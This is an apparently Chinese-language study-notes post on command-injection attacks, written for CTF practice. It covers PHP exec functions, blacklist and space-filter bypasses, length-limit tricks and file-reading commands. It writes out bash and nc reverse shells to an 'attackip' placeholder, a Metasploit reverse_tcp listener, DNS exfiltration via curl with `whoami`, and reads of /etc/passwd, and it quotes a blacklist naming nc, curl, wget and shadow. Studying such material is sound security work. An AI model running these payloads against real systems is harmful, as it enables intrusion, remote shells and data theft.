本文是学习命令执行过程中做的一些题目以及读过的文章进行整理总结,主要是方便接下来进一步的学习,如有错误之处,欢迎指出。
一、php调用外部程序常用的函数:
- system()—执行shell命令也就是向dos发送一条指令。
- shell_exec() — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
- exec() —执行外部程序。
- passthru() — 执行外部程序并且显示原始输出。
二、java命令执行
在Java SE中,存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行特定的字符串命令。
三、造成命令执行的原因
- 代码过滤不严格--如使用system函数调用封装在二进制文件中的核心代码,如system("/bin/program --arg $arg");
- 系统的漏洞造成命令注入--bash破壳漏洞(CVE-2014-6271)
- 调用的第三方组件存在代码执行漏洞--WordPress(ImageMagick组件), JAVA(struts2),ThinkPHP命令执行
四、命令执行的危害
- 继承Web服务程序的权限去执行系统命令或读写文件
- 反弹shell
- 控制整个网站甚至控制服务器
- 进一步内网渗透
五、绕过技巧
1. 绕过空格
< -- 重定向,如cat<flag.php
<> -- 重定向,如cat<>flag.php
%09 -- 需要php环境,如cat%09flag.php
${IFS} -- 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
2. 命令分隔
%0a -- 换行符,需要php环境
%0d -- 回车符,需要php环境
; -- 在 shell 中,担任”连续指令”功能的符号就是”分号”
& -- 不管第一条命令成功与否,都会执行第二条命令
&& -- 第一条命令成功,第二条才会执行
| -- 第一条命令的结果,作为第二条命令的输入
|| -- 第一条命令失败,第二条才会执行
3. 命令终结符
%00 -- 需要php环境
%20# -- 需要php环境
4. 黑名单绕过
- 拼接
a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=heb;d=ic;ab{c}{d}
- 借他人之手来获取字符
如果过滤了<>?,可以从已有的文件或环境变量中获取自己需要的字符。
如获取 < 符 -- echo `expr substr $(awk NR==1 test.php) 1 1`
- base64编码
echo "d2hvYW1p"|base64 -d
- 单引号,双引号
ca''t te""st.php
- 反斜杠
cat te\st.php
- 通配符
*
,?
与斜杠组合绕过
/bin/sh = /b?n/?h
- 使用反引号绕过
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed', 'apt', 'yum', 'curl', 'wget', 'perl',
'python', 'zip', 'tar', 'php', 'ruby', 'kill', 'passwd', 'shadow', 'root', 'z','dir', 'dd', 'df', 'du', 'free','tempfile',
'touch', 'tee', 'sha', 'x64', 'g','xargs', 'PATH','$0', 'proc', '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
];
...(省略部分代码)
foreach($blacklist as $keyword) {
if(strstr($ip, $keyword)) {
return "{$keyword} not allowed";
...(省略部分代码)
exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
绕过:
ip=`tac fla*`
5. 绕过ip中的句点
网络地址可以转换成数字地址,比如127.0.0.1
可以转化为2130706433
。
可以直接访问http://2130706433
或者http://0x7F000001
,这样就可以绕过.
的ip过滤。
在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP
6. win下执行bat
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>
执行.bat文件的时候,利用%1a,可以绕过过滤执行命令.
dir=../ %1a whoami
六、无回显命令执行(bugku题目)
- 利用vps,用nc进行弹shell(反弹shell其他姿势另外文章再说)
攻击机:nc -l -p attackport -vvv
靶机:|bash -i >& /dev/tcp/attackip/attackport 0>&1
靶机:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackip attackport >/tmp/f
- 利用msf反向回连
攻击机msf监听:
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport attackport
set lhost attackip
set exitonsession false
exploit -j
靶机:|bash -i >& /dev/tcp/attackip/attackport 0>&1
- 利用DNS管道解析(还没实际操作过)
网上有一个在线平台:admin.dnslog.link,注册一个账号后会分配一个子域名可以利用,已经开源,可以自己搭建。
利用方式如下:
|curl `whoami`.xxxx.xxx(子域名)
这样就会在利用网址看到反弹结果。这里解释一下\whoami\因为`反引号在linux下是执行命令的特殊符号,原理请见:DNS隧道技术解析
七、突破长度限制
#这里是突破七个字
<?php
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>
思路:利用重定向符 >
生成文件,1>1
,a>1
都可以生成文件1
,即使后者会报错。然后利用 ls -t
根据生成文件的时间将文件名合并成一句命令,最后通过 sh
命令执行命令下载shell.php。
这里可以看一个题目的writeup。
关于长度限制的还有HITCON2015跟2017的题目可以学习。
八、各种读文件命令
cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出
九、歪门邪道
echo /*/*/*flag* -- 枚举文件和目录
sort /app/class/flag.php -- 从最后一行开始读取文件
find -- 列出当前目录下的文件以及子目录所有文件
&{grep,-nrw,.} -- 递归读取当前目录下的文件以及子目录所有文件
{cat,/etc/passwd}
curl file:///etc/passwd
strings /etc/passwd
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd
十、工具
一个FUZZing工具:shelling
网友评论